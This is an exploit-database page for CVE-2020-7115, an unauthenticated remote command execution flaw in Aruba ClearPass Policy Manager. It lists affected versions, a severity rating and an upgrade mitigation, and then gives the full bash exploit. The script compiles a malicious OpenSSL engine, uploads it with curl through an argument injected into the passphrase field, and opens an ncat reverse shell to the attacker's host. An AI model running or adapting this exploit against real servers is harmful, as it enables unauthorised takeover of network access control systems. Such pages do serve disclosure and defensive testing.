Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution

vendor:

ClearPass Policy Manager

by:

SpicyItalian

9.8

CVSS

CRITICAL

Unauthenticated Remote Command Execution

CWE

Product Name: ClearPass Policy Manager

Affected Version From: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1

Affected Version To: ClearPass 6.7.0

Patch Exists: YES

Related CWE: CVE-2020-7115

CPE: a:arubanetworks:clearpass_policy_manager:6.7.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: RHEL/CentOS 7.x

2020

Aruba ClearPass Policy Manager 6.7.0 – Unauthenticated Remote Command Execution

Aruba ClearPass Policy Manager 6.7.0 is vulnerable to unauthenticated remote command execution. An attacker can exploit this vulnerability by sending a malicious OpenSSL engine to the vulnerable server. This will allow the attacker to execute arbitrary commands on the server.

Mitigation:

Upgrade to ClearPass 6.7.13-HF, ClearPass 6.8.5-HF, or ClearPass 6.9.1

Source

Exploit-DB raw data:

# Exploit Title: Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution
# Date: 2020-07-06
# Exploit Author: SpicyItalian
# Vendor Homepage: https://www.arubanetworks.com/products/security/network-access-control/
# Version: ClearPass 6.7.x prior to 6.7.13-HF, ClearPass 6.8.x prior to 6.8.5-HF, ClearPass 6.9.x prior to 6.9.1
# Tested on: ClearPass 6.7.0
# CVE: CVE-2020-7115

Use of RHEL/CentOS 7.x is recommended to successfully generate the malicious OpenSSL engine.

#!/usr/bin/env bash

if [ "$#" -ne 4 ]; then
echo "Usage: `basename $0` [remote host] [remote port] [local host] [local port]"
exit 0
fi
cat <<EOF >>payload.c
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "rm -f /tmp/clientCertFile*.txt ; sleep 1 ; ncat $3 $4 -e /bin/sh", NULL);
}
EOF

gcc -fPIC -c payload.c
gcc -shared -o payload.so -lcrypto payload.o
rm -f payload.c payload.o
curl -X POST -F 'clientPassphrase=req -engine /tmp/clientCertFile*.txt' -F 'uploadClientCertFile=@./payload.so' -k https://$1:$2/tips/tipsSimulationUpload.action &>/dev/null &
cat <<"EOF"

/(\

¡ !´\

| )\ `.

| `.) \,-,--

( / /

`'-.,;_/

`----

EOF

printf "\nPleasea waita for your spicy shell...\n\n"

ncat -v -l $3 $4